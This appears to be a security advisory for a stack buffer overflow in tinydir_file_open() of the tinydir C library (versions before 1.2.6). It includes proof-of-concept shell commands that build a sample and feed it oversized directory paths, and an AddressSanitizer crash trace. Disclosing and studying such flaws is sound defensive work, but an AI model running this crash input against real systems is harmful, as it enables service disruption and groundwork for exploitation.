Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affecting tinydir package, versions [,1.2.6)

Affected versions of this package are vulnerable to Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') via the tinydir_file_open() function. An attacker can manipulate the buffer and cause it to overflow, leading to potential unauthorized modifications or disruptions in the system by providing an oversized input.

$ git clone https://github.com/cxong/tinydir
$ cd tinydir/samples/
$ gcc -g -fsanitize=address -I.. file_open_sample.c -o file_open_sample
$ mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Path: ./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Extension: 
Is dir? yes
Is regular file? no
$ ./file_open_sample AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/
=================================================================
==2533==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd1ecabeb0 at pc 0x7f37b22544bf bp 0x7ffd1ecaac10 sp 0x7ffd1ecaa3b8
WRITE of size 513 at 0x7ffd1ecabeb0 thread T0
    #0 0x7f37b22544be in __interceptor_strcpy ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440
    #1 0x5625cf301b69 in tinydir_file_open ../tinydir.h:711
    #2 0x5625cf3021f4 in main /home/raptor/tinydir/samples/file_open_sample.c:12
    #3 0x7f37b1e29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #4 0x7f37b1e29e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #5 0x5625cf3004e4 in _start (/home/raptor/tinydir/samples/file_open_sample+0x24e4)

Address 0x7ffd1ecabeb0 is located in stack of thread T0 at offset 4704 in frame
    #0 0x5625cf3018c3 in tinydir_file_open ../tinydir.h:641

  This frame has 3 object(s):
    [48, 4184) 'dir' (line 642)
    [4448, 4704) 'file_name_buf' (line 646)
    [4768, 8864) 'dir_name_buf' (line 645) <== Memory access at offset 4704 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/asan/asan_interceptors.cpp:440 in __interceptor_strcpy
Shadow bytes around the buggy address:
  0x100023d8d780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d790: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7a0: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100023d8d7b0: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100023d8d7d0: 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00
  0x100023d8d7e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d7f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100023d8d820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2533==ABORTING

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